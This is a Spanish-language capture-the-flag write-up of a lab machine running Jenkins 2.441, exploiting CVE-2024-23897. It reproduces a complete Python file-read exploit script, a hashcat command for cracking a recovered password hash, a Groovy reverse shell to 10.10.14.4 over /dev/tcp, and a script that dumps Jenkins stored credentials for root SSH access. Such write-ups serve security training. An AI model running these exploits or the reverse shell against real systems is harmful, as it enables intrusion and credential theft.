Publicado: 06 de Junio de 2025
Autor: José Miguel Romero aKa x3m1SecDificultad: ⭐ Medium
📝 Descripción
Builder es una máquina Linux de dificultad media que aloja un servidor Jenkins vulnerable. La máquina presenta una vulnerabilidad de lectura de archivos locales (LFI) en Jenkins a través del CVE-2024-23897, que permite acceder a archivos del sistema sin autenticación. Esta vulnerabilidad surge por el uso de la librería args4j en el CLI de Jenkins, donde argumentos que comienzan con @ seguidos de una ruta de archivo son interpretados automáticamente como contenido del archivo.
El proceso de explotación incluye el uso de esta vulnerabilidad para extraer archivos de configuración de Jenkins, específicamente archivos XML que contienen hashes de contraseñas de usuarios. Una vez obtenidas las credenciales mediante fuerza bruta, se aprovecha la consola de scripts de Jenkins (Groovy) para ejecutar código arbitrario y obtener una shell reversa. Finalmente, se descubren credenciales SSH almacenadas en el sistema Jenkins para escalar privilegios al usuario root.
nmap -sC -sV -p$ports 10.10.11.10 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 13:46 CEST
Nmap scan report for 10.10.11.10
Host is up (1.6s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🌐 Enumeración Web
🏗️ Puerto 8080 HTTP (Jenkins 2.441)
Accedemos al puerto 8080 y descubrimos un servicio Jenkins. A priori no podemos enumerar gran cosa salvo un usuario llamado jennifer y la versión de este servicio que es la 2.441 que es conocida por presentar una vulnerabilidad de tipo Local File Inclusion.
CVE-2024-23897
¿Qué es CVE‑2024‑23897?
Se origina por una característica de la librería args4j utilizada en el CLI: cuando un argumento comienza con @ seguido de un camino de archivo, Jenkins reemplaza automáticamente esa sintaxis por el contenido del archivo — incluso si no estás autenticado.
🔓 Cómo se explota
El atacante descarga jenkins-cli.jar del servidor Jenkins.
Con los secretos obtenidos, podrían escalar a RCE usando los vectores mencionados arriba.
En este caso decido usar un script en python en lugar de usar jenkins-cli.jar aunque en caso de optar por la primera opción el comando a utilizar sería algo como esto:
# Exploit Title: Jenkins 2.441 - Local File Inclusion
# Date: 14/04/2024
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.jenkins.io/
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip
# Version: 2.441
# Tested on: Debian 12 (Bookworm)
# CVE: CVE-2024-23897
from argparse import ArgumentParser
from requests import Session, post, exceptions
from threading import Thread
from uuid import uuid4
from time import sleep
from re import findall
class Exploit(Thread):
def __init__(self, url: str, identifier: str):
Thread.__init__(self)
self.daemon = True
self.url = url
self.params = {"remoting": "false"}
self.identifier = identifier
self.stop_thread = False
self.listen = False
def run(self):
while not self.stop_thread:
if self.listen:
self.listen_and_print()
def stop(self):
self.stop_thread = True
def receive_next_message(self):
self.listen = True
def wait_for_message(self):
while self.listen:
sleep(0.5)
def print_formatted_output(self, output: str):
if "ERROR: No such file" in output:
print("File not found.")
elif "ERROR: Failed to parse" in output:
print("Could not read file.")
expression = "No such agent \"(.*)\" exists."
results = findall(expression, output)
print("\n".join(results))
def listen_and_print(self):
session = Session()
headers = {"Side": "download", "Session": self.identifier}
try:
response = session.post(self.url, params=self.params, headers=headers)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to target to setup the listener.")
exit(1)
self.print_formatted_output(response.text)
self.listen = False
def send_file_request(self, filepath: str):
headers = {"Side": "upload", "Session": self.identifier}
payload = get_payload(filepath)
try:
post(self.url, data=payload, params=self.params, headers=headers, timeout=4)
except (exceptions.ConnectTimeout, exceptions.ConnectionError):
print("Could not connect to the target to send the request.")
exit(1)
def read_file(self, filepath: str):
self.receive_next_message()
sleep(0.1)
self.send_file_request(filepath)
self.wait_for_message()
def get_payload_message(operation_index: int, text: str) -> bytes:
text_bytes = bytes(text, "utf-8")
text_size = len(text_bytes)
text_message = text_size.to_bytes(2) + text_bytes
message_size = len(text_message)
payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message
return payload
def get_payload(filepath: str) -> bytes:
arg_operation = 0
start_operation = 3
command = get_payload_message(arg_operation, "connect-node")
poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")
payload = command + poisoned_argument + start_operation.to_bytes(1)
return payload
def start_interactive_file_read(exploit: Exploit):
print("Press Ctrl+C to exit")
while True:
filepath = input("File to download:\n> ")
filepath = make_path_absolute(filepath)
exploit.receive_next_message()
try:
exploit.read_file(filepath)
except exceptions.ReadTimeout:
print("Payload request timed out.")
def make_path_absolute(filepath: str) -> str:
if not filepath.startswith('/'):
return f"/proc/self/cwd/{filepath}"
return filepath
def format_target_url(url: str) -> str:
if url.endswith('/'):
url = url[:-1]
return f"{url}/cli"
def get_arguments():
parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")
parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")
parser.add_argument("-p", "--path", help="The absolute path of the file to download")
return parser.parse_args()
def main():
args = get_arguments()
url = format_target_url(args.url)
filepath = args.path
identifier = str(uuid4())
exploit = Exploit(url, identifier)
exploit.start()
if filepath:
filepath = make_path_absolute(filepath)
exploit.read_file(filepath)
exploit.stop()
return
try:
start_interactive_file_read(exploit)
except KeyboardInterrupt:
pass
print("\nQuitting")
exploit.stop()
if __name__ == "__main__":
main()
Confirmamos la vulnerabilidad LFI leyendo el archivo /etc/passwd del sistema
python3 lfi_jenkins.py -u http://10.10.11.10:8080
Vemos que hay un usuario llamado jenkins en el sistema. Buscando información sobre donde guarda Jenkins las credenciales de usuario, vemos que existe un archivo initialAdminPassword que debería ubicarse en /var/jenkins_home/secrets/initialAdminPassword pero en este caso no obtenemos resultado:
Sin embargo, buscando y leyendo documentación sobre configuración de jenkins https://dev.to/pencillr/spawn-a-jenkins-from-code-gfa?source=post_page-----143ad7fde347---------------------------------------
encontramos que hay algunos otros ficheros como config.xml y users.xml que pueden ser de utilidad:
Lo interesante de esta información está en la clave jennifer_12108429903186576833. Podemos usarla para continuar enumerando la información específica de este usuario:
Usamos hashcat y el diccionario rockyou para crackear este hash y obtener la contraseña:
hashcat -a 0 -m 3200 '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' /usr/share/wordlists/rockyou.txt
🚀 Acceso Inicial
Volvemos ahora al panel de login Jenkins y nos autenticamos como jennifer:
Una vez dentro, como jennifer es admin ahora tenemos habilitadas todas las opciones del árbol de la izquierda, entre ellas está la función script console:
Usando esta consola de scripts, es posible ejecutar comandos arbitrarios, funcionando de manera similar a un shell web. Por ejemplo, podemos usar el siguiente fragmento para ejecutar el id comando.
Vemos que funcione y nos devuelve como el resultado del id del usuario jenkins.
Ahora veamos cómo podemos aprovechar esto para ganar acceso a la máquina. Podemos cambiar el payload anterior por:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.4/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Iniciamos un listener con netcat:
nc -nlvp 443
Ejecutar los comandos anteriores da como resultado una conexión de shell inversa.
🛠️ Mejora de la TTY
/bin/bash -i
script /dev/null -c bash
Ctrl + Z (suspended)
stty raw -echo; fg
reset xterm
export TERM=xterm
stty rows x columns x
🐳 Análisis del Entorno
Al tratar de enumerar usuarios en el directorio /home vemos que no hay nada. ¿Será que estamos dentro de un contenedor?
jenkins@0f52c222a4cc:/$ cd /home && ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec 9 2023 .
drwxr-xr-x 1 root root 4096 Feb 7 2024 ..
Tal como sospechaba, estamos dentro de un contenedor tal como podemos confirmar viendo el fichero .dockerenv en la raíz del sistema:
jenkins@0f52c222a4cc:/$ ls -la
total 56
drwxr-xr-x 1 root root 4096 Feb 7 2024 .
drwxr-xr-x 1 root root 4096 Feb 7 2024 ..
-rwxr-xr-x 1 root root 0 Feb 7 2024 .dockerenv
lrwxrwxrwx 1 root root 7 Jan 10 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Dec 9 2023 boot
drwxr-xr-x 5 root root 340 Jun 6 11:52 dev
drwxr-xr-x 1 root root 4096 Feb 7 2024 etc
drwxr-xr-x 2 root root 4096 Dec 9 2023 home
lrwxrwxrwx 1 root root 7 Jan 10 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jan 10 2024 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jan 10 2024 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jan 10 2024 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Jan 10 2024 media
drwxr-xr-x 2 root root 4096 Jan 10 2024 mnt
drwxr-xr-x 1 root root 4096 Jan 16 2024 opt
dr-xr-xr-x 276 root root 0 Jun 6 11:52 proc
drwx------ 1 root root 4096 Jan 16 2024 root
drwxr-xr-x 1 root root 4096 Jan 16 2024 run
lrwxrwxrwx 1 root root 8 Jan 10 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jan 10 2024 srv
dr-xr-xr-x 13 root root 0 Jun 6 11:52 sys
drwxrwxrwt 1 root root 4096 Jun 6 11:52 tmp
drwxr-xr-x 1 root root 4096 Jan 10 2024 usr
drwxr-xr-x 1 root root 4096 Jan 16 2024 var
La flag user.txt la encontramos en el directorio /var/jenkins_home
🔑 Escalada de Privilegios
Justo en el mismo directorio donde se ubica de la primera flag, vemos unos archivos con nombres que invitan a ver qué son llamados secret.key, secret.key.not-so-secret y secrets:
Parece una clave ssh, pero no en el formato que se usa habitualmente sino que parece estar en hexadecimal. Quizás si logramos obtener una llave ssh podemos escapar del contenedor y lograr una escalada de privilegios.
Investigando sobre esto descubrimos un repositorio con utilidades de jenkins:
https://github.com/tarvitz/jenkins-utils
Hay un script que podemos usar en la utilidad /script de nuestro jenkins para extraer los secrets de jenkins master siempre que seamos administradores. Como en este caso lo somos, basta con ejecutarlo y obtenemos la clave:
com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{
it.properties.each { prop, val ->
println(prop + ' = "' + val + '"')
}
println("-----------------------")
}
Copiamos la clave privada y la copiamos en un fichero en nuestro host de ataque y le damos permisos 600. Finalmente nos conectamos y ganamos acceso como root:
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.10
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# whoami
root
root@builder:~# id
uid=0(root) gid=0(root) groups=0(root)
root@builder:~# ls -la /root
total 32
drwx------ 5 root root 4096 Jun 6 11:52 .
drwxr-xr-x 18 root root 4096 Feb 9 2024 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Apr 27 2023 .cache
drwxr-xr-x 3 root root 4096 Apr 27 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Jun 6 11:52 root.txt
drwx------ 2 root root 4096 Feb 8 2024 .ssh
root@builder:~#
Y un panel de login en el que las credenciales por defecto no parecen funcionar.
Afecta a Jenkins Core (antes de la versión 2.442) y Jenkins LTS (antes de la versión 2.426.3).
Usa @/ruta/al/archivo como argumento en un comando CLI, provocando que el contenido del archivo se revele.
Esta consola permite a un usuario ejecutar Apache scripts, que son un lenguaje compatible con Java orientado a objetos. El lenguaje es similar a Python y Ruby. El código fuente de Groovy se compila en Java Bytecode y puede ejecutarse en cualquier plataforma que tenga JRE instalado.